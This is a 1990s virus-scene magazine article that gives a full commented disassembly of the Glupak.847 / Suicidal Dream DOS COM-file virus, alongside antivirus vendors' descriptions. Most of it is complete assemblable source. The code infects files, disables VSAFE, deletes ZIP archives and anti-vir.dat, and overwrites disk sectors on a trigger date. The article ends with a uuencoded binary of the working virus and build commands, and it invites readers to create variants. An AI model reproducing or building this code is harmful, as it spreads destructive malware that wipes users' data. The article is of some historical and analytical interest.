SLAM2.017: TU.Suicidal.Dream.B / Glupak.847.A Disassembly
TU.Suicidal.Dream.B / Glupak.847.A Disassembly
Disassembled, Commented by Gothmog/DHA
When this virus first hit the Internet, it was posted, as many new viruses are these days, to several usenet newsgroups. I quickly grabbed myself a copy and disassembled it; to my knowledge, this was the only publicly available source for the virus at that time. Unfortunately, my source did not get very widely distributed, so I am releasing it in this magazine.
Originally called TU.Suicidal.Dream.B, and listed by (c) 1996 The Freak/The Underground, this virus is now detected by F-PROT as Glupak.847.A, so it is apparently a hack of the Glupak.393 virus. The Glupak.393 virus was, for those of you keeping track, originally released in VLAD Magazine #2, and was originally named [Prodigy] v3.0 by Metabolis/VLAD (the AV'ers must sure have a grudge against VLAD <g>).
Here's a look at what F-PROT Professional has to say:
=======================================
NAME: Glupak
ALIAS: Freaky, THU, Suicidal Dream
SIZE: 847
TYPE: Non-resident COM -files
ORIGIN: Canada
This is a buggy direct action infector of COM files. It activates on October 21st and attempts to overwrite the hard drive. After this it displays this text and hangs the PC:
Happy Birthday Freaky!
Glupak also contains this encrypted text which is never shown:
[TV.Suicidal.Dream.B] (c) 1996 The Freak/The Underground From the hypnotic spectre of wake I scream locked in depths of suicidal Dream
The virus might also delete *.ZIP and ANTI-VIR.DAT files.
Glupak was confirmed to be in the wild in Switzerland and Finland in April 1996.
There is another 890 byte variant with slightly different texts inside.
[Analysis: Mikko Hypponen, Data Fellows Ltd's F-PROT Pro Support]
; =================================================================
;
; And ThunderByte v7.07 gives us this information about the virus:
;
; =================================================================
Information about the Glupak.847 virus.
This virus is known to infect COM files, but unknown variants may infect other items as well.
847 bytes
Virus triggers on 21 October destroying contents of drive C:
Unusual messages or effects may appear on the screen.
Cleaning information: Before cleaning or restoring, it is HIGHLY RECOMMENDED to boot from a clean, write-protected system diskette first! This is necessary to ensure that no viruses are active in memory, and to reduce the risk that you execute an infected file by accident.
WARNING!
This virus is known to corrupt data files. Although the damage may not be visible immediately, the integrity of your data has been affected once this virus got active in your system. There is no other option than restoring all information from a reliable backup.
===========================
Other than that, the code is pretty easy to understand. Nothing really neat about this virus, though the file-deletion routine is interesting. This virus uses anti-heuristic tricks such as the int 03h at the program's entry and by changing the ')' to '*' (and vise-versa) in the filemask. The virus seems to contain a bug -- look in the infect_file procedure, and also seems to contain 159d extra bytes with no apparent function--refer to data at the label useless_crap. If anyone cares to create a variant of this virus, feel free, but give credit where credit is due... [You might want to send it to us too, I dunno, you might just get something cool out of it...]
Assumes TASM v4.00 or v5.00; other assemblers may work, but have been in no way personally tested or quality assured.
; Assemble with: tasm /m2 virus.asm
; tlink /t virus.obj (creates an 850 byte file)
.model tiny
.code
org 100h
start_virus:
; jmp get_offset
db 0E9h, 000h, 000h ; byte fixup for TASM
get_offset:
call main_entry
main_entry:
int 03h ; debug trap/tbav evade
pop bp
sub bp, offset main_entry
lea si, [bp + offset orig_bytes]
; orig. 3 bytes in sp
mov di, 100h ; start of com
push di ; push for ret exit
movsw ; restore orig. 3 bytes
movsb ; to start of com
mov dx, 5945h
mov ax, 0FA01h
int 16h ; disable VSAFE in memory
mov ah, 1Ah ; set DTA function
lea dx, [bp + offset new_dta]
; new dta address
int 21h ; do it
mov ah, 47h ; get present directory
xor dl, dl ; current drive
lea si, [bp + 47Eh] ; to heap
int 21h ; do it
mov byte ptr cs:infectCounter, 0
; no files infected this run
find_file:
mov ah, 4Eh ; find first
mov cx, 07h ; all files
inc byte ptr cs:[bp + offset file_mask]
; change ')' to '*' (anti-heuristic)
lea dx, [bp + offset file_mask]
; Load effective addr
int 21h ; do it
jc none_found ; no files found
dec byte ptr cs:[bp + offset file_mask]
; change '*' to ')' (anti-heuristic)
jmp test_file
none_found:
dec byte ptr cs:[bp + file_mask]
; change '*' to ')' (anti-heuristic)
no_more_files:
push cs
call delete_files ; delete *.zip, anti-vir.dat
jmp search_parent
test_file:
cmp offset [bp + cs:file_name], 'OC'
; test for command.com
je find_next ; file is command.com
jmp infect_file ; file is not command.com
find_next:
mov ah, 4Fh ; find next file
int 21h ; do it
jc no_more_files ; no more files in dir
jmp test_file ; see if infectable
infect_file:
mov ax, 4300h ; get file attributes
lea dx, [bp + offset file_name]
int 21h ; do it
mov cx, cs:file_attr ; ERROR: cx is destroyed...
mov ax, 4301h ; set file attributes
lea dx, [bp + offset file_name]
xor cx, cx ; none
int 21h ; do it
mov ax, 3D02h ; open file for writing
lea dx, [bp + offset file_name]
int 21h ; do it
xchg bx, ax ; put handle in bx
mov ax, 5700h ; get file date, time
int 21h ; do it
mov cs:file_time, cx ; save file time in dta
mov cs:file_date, dx ; save file date in dta
mov ah, 3Fh ; read file
mov cx, 3 ; first 3 bytes
lea dx, [bp + offset orig_bytes]
int 21h ; do it
lea cx, offset [bp + cs:[offset orig_bytes]]
sub cl, 5
sub ch, 5
add cl, ch
cmp cl, 9Dh ; test for jmp get_offset
je close_file ; if infected, close file
jmp write_file ; else, write file
close_file:
mov ax, 5701h ; set file date and time
mov cx, cs:file_time ; restore file time from dta
mov dx, cs:file_date ; restore file date from dta
int 21h ; do it
mov ax, 4301h ; set file attributes
lea dx, [bp + offset file_name]
mov cx, cs:file_attr ; restore attributes from dta
int 21h ; do it
mov ah, 3Eh ; close file
int 21h ; do it
push cs
call delete_files ; delete *.zip, anti-vir.dat
cmp byte ptr cs:infectCounter, 5
je back_to_orig_dir ; four infected, stop
jmp find_next ; less than four, keep going
write_file:
mov cx, offset [bp + cs:orig_length]
mov ax, offset [bp + cs:file_size]
add cx, offset end_virus - offset start_virus
cmp ax, cx
je close_file ; file already infected
sub ax, 3
mov offset [bp + cs:jump_length], ax
mov ax, 4200h ; move file pointer
xor cx, cx ; to beginning of file
cwd
int 21h ; do it
mov ah, 40h ; write file
mov cx, 3 ; three bytes
lea dx, [bp + offset jump_bytes]
int 21h ; do it
mov ax, 4202h ; move file pointer
xor cx, cx ; end of file
cwd
int 21h ; do it
mov ah, 40h ; write file
mov cx, offset end_virus - offset start_virus - 3
lea dx, [bp + offset main_entry - 3]
int 21h ; do it
inc cs:infectCounter
jmp close_file
back_to_orig_dir:
push cs
call delete_files ; delete *.zip, anti-vir.dat
mov ah, 3Bh ; set current dir
lea dx, [bp + 47Eh] ; original (saved) dir
int 21h ; do it
mov ah, 2Ah ; get date
int 21h ; do it
cmp dh, 0Ah ; is month october?
jne dont_trash_disk ; no, return
cmp dl,15h ; is day the 15th?
jne dont_trash_disk ; no, return
jmp trash_disk ; trash the hard drive
dont_trash_disk:
retn
search_parent:
mov ah, 3Bh ; set current dir
lea dx, [bp + offset dotdot]; go to parent
int 21h ; do it
jc back_to_orig_dir
jmp find_file
trash_disk:
mov al, 02h ; current drive
mov cx, 666 ; write 666 sectors
mov dx, 0
mov bx, offset virus_name
int 26h ; absolute disk write
lea dx, [bp + offset happy_birthday]
mov ah, 09h ; display message
int 21h ; do it
forever:
jmp forever
delete_files:
lea dx, [bp + zip_mask] ; filename = *.zip
mov ah, 4Eh ; find first
mov cx, 7 ; all files
int 21h ; do it
jc del_tbav ; none found, try tbav files
del_zips:
lea dx, [bp + offset file_name]
mov ax, 4301h ; set file attributes
xor cx, cx ; none
int 21h ; do it
mov ah, 41h ; delete file
lea dx, [bp + offset file_name]
int 21h ; do it
mov ah, 4Fh ; find next
int 21h ; do it
jc del_tbav ; none found, try tbav files
loop del_zips ; more found, delete them
del_tbav:
lea dx, [bp + offset tbav_name]
mov ah, 4Eh ; find first
mov cx, 7 ; all files
int 21h ; do it
jc no_tbav
lea dx, [bp + offset file_name]
mov ax, 4301h ; set file attributes
xor cx, cx ; none
int 21h ; do it
mov ah, 41h ; delete file
lea dx, [bp + offset file_name]
int 21h ; do it
retf ; return far
no_tbav:
retf ; return far
virus_name db '[TU.Suicidal.Dream.B]'
virus_author db '(c) 1996 The Freak/The Underground'
silly_poem db 'From the hypnotic spectre of wake I scream'
db 'Locked in the depths of a Suicidal Dream'
useless_crap db 0A9h, 0CCh, 0D3h, 0C2h, 07Dh, 0D1h, 0CCh, 07Dh, 0A9h
db 0C2h, 0BEh, 0C5h, 07Dh, 0BEh, 0CBh, 0C1h, 07Dh, 0A9h
db 0C6h, 0CBh, 0C1h, 0D0h, 0BEh, 0D6h, 07Eh, 07Dh, 0AAh
db 0D6h, 07Dh, 0C3h, 0BEh, 0D3h, 07Dh, 0BFh, 0BEh, 0BFh
db 0C2h, 0D0h, 07Eh, 07Eh, 07Dh, 0AFh, 0C2h, 0C9h, 0C2h
db 0BEh, 0D0h, 0C2h, 0C1h, 07Dh, 0A7h, 0BEh, 0CBh, 08Ch
db 096h, 093h, 07Eh, 07Dh, 07Dh, 0A3h, 0CFh, 0CCh, 0CAh
db 07Dh, 0A0h, 0BEh, 0CBh, 0BEh, 0C1h, 0BEh, 07Eh, 07Dh
db 07Dh, 0B6h, 0D2h, 0CDh, 089h, 07Dh, 0D1h, 0C5h, 0BEh
db 0D1h, 0D0h, 07Dh, 0CFh, 0C6h, 0C4h, 0C5h, 0D1h, 07Dh
db 0BEh, 0D3h, 07Dh, 0CDh, 0C2h, 0CCh, 0CDh, 0C9h, 0C2h
db 0D0h, 08Bh, 08Bh, 07Dh, 0A0h, 09Eh, 0ABh, 09Eh, 0A1h
db 09Eh, 07Eh, 085h, 0C0h, 086h, 07Dh, 08Eh, 096h, 096h
db 093h, 07Dh, 0B1h, 0C5h, 0C2h, 07Dh, 0A3h, 0CFh, 0C2h
db 0BEh, 0C8h, 08Bh, 07Dh, 09Eh, 0C9h, 0C9h, 07Dh, 0CFh
db 0C6h, 0C4h, 0C5h, 0D1h, 0D0h, 07Dh, 0D0h, 0D1h, 0CCh
db 0C9h, 0C2h, 0CBh, 08Bh, 07Dh, 0B0h, 0CCh, 07Dh, 0C2h
db 0BEh, 0D1h, 07Dh, 0CAh, 0C2h, 08Bh
orig_bytes db 0CDh, 020h, 000h
orig_length equ $-2
jump_bytes db 0E9h
jump_length dw 0000h
file_mask db ').com', 0
zip_mask db '*.zip', 0
tbav_name db 'anti-vir.dat', 0
dotdot db '..', 0
new_dta db 26 dup (0)
file_size dd 0
file_name db 12 dup (0)
file_attr dw 0
file_time dw 0
file_date dw 0
infectCounter db 0
happy_birthday db 'Happy Birthday Freaky!$'
end_virus:
end start_virus
; ============================================================[ code ends ]==
And finally, for those of you without a working assembler, here's a uuencoded copy. Simply run UUDECODE or its equivalent on the article, or cut and paste the encoded section into a text file and decode it:
section 1/1 file freaky.com [ Wincode 2.7.3 ]
begin 644 freaky.com
MZ0``Z```S%V![08!C;;H`[\``5>EI+I%6;@!^LT6M!J-E@H$S2&T1S+2C;9^
M!,TA+L8&.@0`M$ZY!P`N_H;N`XV6[@/-(7('+OZ.[@/K#"[^CNX##N@>`>GW
M`"Z!OB@$0T]T`NL(M$_-(7+HZ^VX`$.-EB@$S2$NBPXT!+@!0XV6*`0SR<TA
MN`(]C98H!,TAD[@`5\TA+HD.-@0NB18X!+0_N0,`C9;H`\TAC8[H`X#I!8#M
M!0+-@/F==`+K,+@!5RZ+#C8$+HL6.`3-(;@!0XV6*`0NBPXT!,TAM#[-(0[H
MDP`N@#XZ!`5T2NEX_RZ+CND#+HN&)`2!P5(#.\%TOBT#`"Z)ANP#N`!",\F9
MS2&T0+D#`(V6ZP/-(;@"0C/)F<TAM$"Y3P.-E@,!S2$N_@8Z!.N)#N@]`+0[
MC99^!,TAM"K-(8#^"G4'@/H5=0+K#L.T.XV6!P3-(7+9Z=?^L`*YF@*Z``"[
MP`+-)HV6.P2T"<TAZ_Z-EO0#M$ZY!P#-(7(;C98H!+@!0S/)S2&T08V6*`3-
M(;1/S2%R`N+EC9;Z`[1.N0<`S2%R%(V6*`2X`4,SR<TAM$&-EB@$S2'+RUM4
M52Y3=6EC:61A;"Y$<F5A;2Y"72AC*2`Q.3DV(%1H92!&<F5A:R]4:&4@56YD
M97)G<F]U;F1&<F]M('1H92!H>7!N;W1I8R!S<&5C=')E(&]F('=A:V4@22!S
M8W)E86U,;V-K960@:6X@=&AE(&1E<'1H<R!O9B!A(%-U:6-I9&%L($1R96%M
MJ<S3PGW1S'VIPK[%?;[+P7VIQLO!T+[6?GVJUGW#OM-]O[Z_PM!^?GVOPLG"
MOM#"P7VGOLN,EI-^?7VCS\S*?:"^R[[!OGY]?;;2S8E]T<6^T=!]S\;$Q=%]
MOM-]S<+,S<G"T(N+?:">JYZAGGZ%P(9]CI:6DWVQQ<)]H\_"OLB+?9[)R7W/
MQL3%T=!]T-',R<++BWVPS'W"OM%]RL*+S2``Z0``*2YC;VT`*BYZ:7``86YT
M:2UV:7(N9&%T`"XN````````````````````````````````````````````
H``````````````````````!(87!P>2!":7)T:&1A>2!&<F5A:WDA)'DA
`
end
sum -r/size 5493/850
section 1/1 file freaky.com [ Wincode 2.7.3 ]
That's it everybody, go home...
Gothmog/DHA